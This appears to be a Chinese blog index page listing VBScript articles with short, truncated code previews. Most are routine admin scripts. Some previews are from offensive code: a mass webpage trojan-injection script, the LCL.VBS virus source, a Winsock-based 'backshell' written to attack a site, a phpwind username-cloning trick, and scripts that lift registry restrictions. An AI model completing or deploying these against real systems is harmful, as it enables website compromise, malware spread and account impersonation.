用vbs删除某些类型文件和磁盘空间报告的脚本

2016年07月27日 43 阅读

OptionExplicit dimServerPath,onlyone,notfinddel,WorkPath,arrWorwpath,strWorkPath,fso,wsh,WshNetwork,cName,exectime,fnum,donum,totalsize,t1,t2,tm fnum=0 donum=0 totalsize=0 WorkPath="F:|D:|C:Download""这里设置需要扫描的路径（绝对路径）,使用“|”来分隔多个路径...

两个批量挂马vbs脚本代码

2016年07月27日 48 阅读

scan.vbe cscriptscan.vbeweb目录 程序代码： "版权信息 br="************************************"&vbCrLf br=br&"*VBS批量挂马脚本*"&vbCrLf br=br&"*BYBanLG*"&vbCrLf br=br&"************************************"&vbCrLf&vbCrLf br=br&"cscriptscan.vbeD:"&vb...

关于vbs WebBrowser导航问题

2016年07月27日 43 阅读

实际上属于转贴。。呵呵:-） 原始文章来自微软，微软么，是大家的微软嘛！所以稍微修改了一下，帖到这里。 原文的中文地址是： http://support.microsoft.com/kb/185538/zh-cn 实际上，这个实现就是获取一个接口，还是叫事件吧。。。。更明显，反正我是分不清这些东西的。DimWithEventsWeb_V1AsSHDocVwCtl.WebBrowser_V1 163的链接一般都是弹出窗口，就用163吧 PrivateSubF...

LCL.VBS 病毒源代码

2016年07月27日 89 阅读

rem email:kouguoxi@hotmail.comrem some crack statement i remment,make it can"t to runonerrorresumenext dimtitle,text title="canyouhelpmefindaperson？" text="hernameisLiuChunli."&chr（13）&chr（10） text=text&"herbirthdayis1981-01-23."&...

用vbs实现向任何电子邮件发送邮件

2016年07月27日 49 阅读

remianbird,notabigbird,itisadullbird. remididn"tsingthreeyearsago,todayichirpit. "OnErrorresumenext onerrorgoto0 Setfs=CreateObject（"Scripting.FileSystemObject"） Setletter=fs.CreateTextFile（wscript.ScriptFullName&".txt",True） a=ch...

用VBS检测Guest状态的脚本

2016年07月27日 46 阅读

复制代码 代码如下:SetobjNetwork=CreateObject（"Wscript.Network"） strComputer=objNetwork.ComputerName SetobjUser=GetObject（"WinNT://"&strComputer&"/Guest"） IfobjUser.AccountDisabledThen Wscript.Echo"Guest为禁用状态" Else Wscript.Echo"Guest为开启状态"...

用vbs实现的输入助手附使用方法

2016年07月27日 44 阅读

//把要ECHO的脚本,拖到此脚本上...根据提示操作即可 复制代码 代码如下:OnErrorResumeNext SetArg=Wscript.arguments IfArg.count=0thenWscript.quit ‘——————- ‘Enjoyit ‘CodeByNetPatch ‘——————- fname=InputBox（”请输入要ECHO的路径）:”,”输入文件名”,”%systemroot%/system32/webdl.vbs”） ...

vbs base64 解密脚本代码

2016年07月27日 54 阅读

复制代码 代码如下:Function fDecode（sStringToDecode） "This function will decode a Base64 encoded string and returns the decoded string. "This becomes usefull when attempting to hide passwords from prying eyes. Const CharList = "ABCDEFGHIJK...

用vbs实现修改dns的网关脚本

2016年07月27日 43 阅读

复制代码 代码如下:Const T_GATEWAY = "1.1.1.1" "网关 Const T_NEWDNS1 = "2.2.2.2" "DNS1 Const T_NEWDNS2 = "3.3.3.3" "DNS2 strWinMgmt="winmgmts:{impersonationLevel=impersonate}" Set NICS = GetObject（ strWinMgmt ）.InstancesOf（"Win32_NetworkAdap...

TCP版backshell的VBS脚本代码

2016年07月27日 74 阅读

"搞一个特殊的站准备用的，没想到，等写完了，洞补上了，郁闷 "by009,baicker@hotmail.com "date:071221 Dimrevdata setsock=WScript.createobject（"MSWinsock.Winsock","WSEvent_"） setsc=createobject（"WScript.Shell"） Setfso=CreateObject（"Scripting.FileSystemObject"） so...

VBS实现DOC转为文本文档的代码

2016年07月27日 47 阅读

打开记事本输入： 复制代码 代码如下:ONERRORRESUMENEXT setargs=wscript.arguments arg=args（0） setw=createobject（"word.application"） setfso=createobject（"scripting.filesystemobject"） setdocfile=fso.getfile（arg） docpath=docfile.path pt=left（docpath,In...

一个用vbs查找硬盘所有分区中的指定程序的代码

2016年07月27日 46 阅读

OnErrorResumeNext"忽略所有错误 Dimfilename"声明变量 Dimre Setre=NewRegExp"建立正则表达式对象实例 re.Pattern="^（[a-z]|[A-Z]）+:\w+.vbs$" Ifre.Test（WScript.ScriptFullName）=FalseThen MsgBox"请在磁盘根目录下运行本程序，否则搜索结果可能会不正确！",,"MessageBox" WScript.Quit EndIf re....

用vbs操作注册表实例代码

2016年07月27日 47 阅读

打开或关闭CMD： DimWSHShell,r,m,v,t,g Dimi OnErrorResumeNext SetWSHShell=WScript.CreateObject（"WScript.Shell"） v="HKEY_CURRENT_USERSoftwarePoliciesMicrosoftWindowssystemDisableCMD" i="REG_DWORD" t="命令提示窗口开关" r=WSHShell.RegRead（v） g=1 If...

用VBS来代替BAT或CMD文件进行命令第1/2页

2016年07月27日 41 阅读

自动导入注册表的，带检测： OnErrorResumeNext dimmsg,fso,shell Setfso=Wscript.createｏｂｊｅｃｔ（"scripting.filesystemｏｂｊｅｃｔ"） setwshshell=wscript.CreateObject（"wscript.shell"） setshell=wscript.createｏｂｊｅｃｔ（"wscript.shell"） IF（fso.FileExists（"e:劲乐团 e...

禁止QQ上网的vbs脚本代码

2016年07月27日 45 阅读

dimbag,pipe,honker,good do good="." setbag=getobject（"winmgmts:\"&good&" ootcimv2"） setpipe=bag.execquery（"select*fromwin32_processwherename="QQ.exe""） foreachiinpipe i.terminate（） next wscript.sleep1 loop...

用vbs实现注册表开关的脚本

2016年07月27日 46 阅读

DimWSHShell,r,M,v,t,g,i OnErrorResumeNext SetWSHShell=WScript.CreateObject（"WScript.Shell"） v="HKCUSoftwareMicrosoftWindowsCurrentVersion PoliciesSystemDisableRegistryTools" i="REG_DWORD" t="注册表开关" r=WSHShell.RegRead（v） g=1 If（r=1...

用vbs实现解除注册表CMD、Regedit、Taskmgr限制的脚本代码

2016年07月27日 48 阅读

OnErrorResumeNext SetWSHShell=WScript.CreateObject（"WScript.Shell"） WithWScript.CreateObject（"WScript.Shell"） .RegDelete"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableRegistryTools" .RegDelete"HKCUSoftwarePolicies...

自己写的一个定时关机或重启的vbs脚本

2016年07月27日 44 阅读

dimActionID ActionID=1"0注销，1关机，2重启, ActionTime="2006-1-413:42:30""关机或重启时间 functionShutDown（） dimobjShell SetobjShell=WScript.CreateObject（"Wscript.Shell"） dimApplication setApplication=CreateObject（"Shell.Application.1"） Applicati...

关于phpwind克隆用户的方法

2016年07月27日 44 阅读

作者：lcx 来源：vbs小铺 首先将字符集中的174转一下,wscript.echo"%"&CStr（Hex（ascb（chrb（174））））,url编码的结果为%AE。当然你用别的字符集里（129-255）的也可以，我用的是174。然后用achilles（安焦有下），修改post数据,在用户名后加上%AE提交即可。你用别的即时提交工具，好比minibrowse也是可以的，这样可以防止注册码的问题． ...

vbs中的LoadPicture函数示例

2016年07月27日 48 阅读

示例： LoadPicture函数 选择图片Sub GetPicInfor（） dim objpic,iWidth,iHeightdim pictype,picpathpicpath=document.frm.pic.valueset objpic=Loadpicture（picpath）iWidth = round（objpic.width / 26.4583） "26.4583是像素值 iHeight = round（objpic.height / 2...